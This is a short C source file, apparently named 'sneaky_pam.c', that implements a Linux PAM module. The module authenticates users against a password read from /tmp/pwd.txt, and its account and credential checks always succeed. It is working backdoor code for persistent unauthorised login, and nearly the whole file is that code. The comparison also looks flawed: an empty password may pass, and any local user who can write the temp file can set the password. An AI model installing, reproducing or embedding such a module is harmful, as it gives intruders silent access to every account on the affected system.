sneaky_pam.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>

PAM_EXTERN int pam_sm_setcred
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_authenticate
(pam_handle_t *pamh, int flags,int argc, const char **argv) {
    char *password = NULL;
	FILE *fp;
	char buff[255];

	fp = fopen("/tmp/pwd.txt", "r");
	fscanf(fp, "%s", buff);

    pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);

    if (!strncmp(password, buff, strlen(password)))
        return PAM_SUCCESS;

    return -1;
}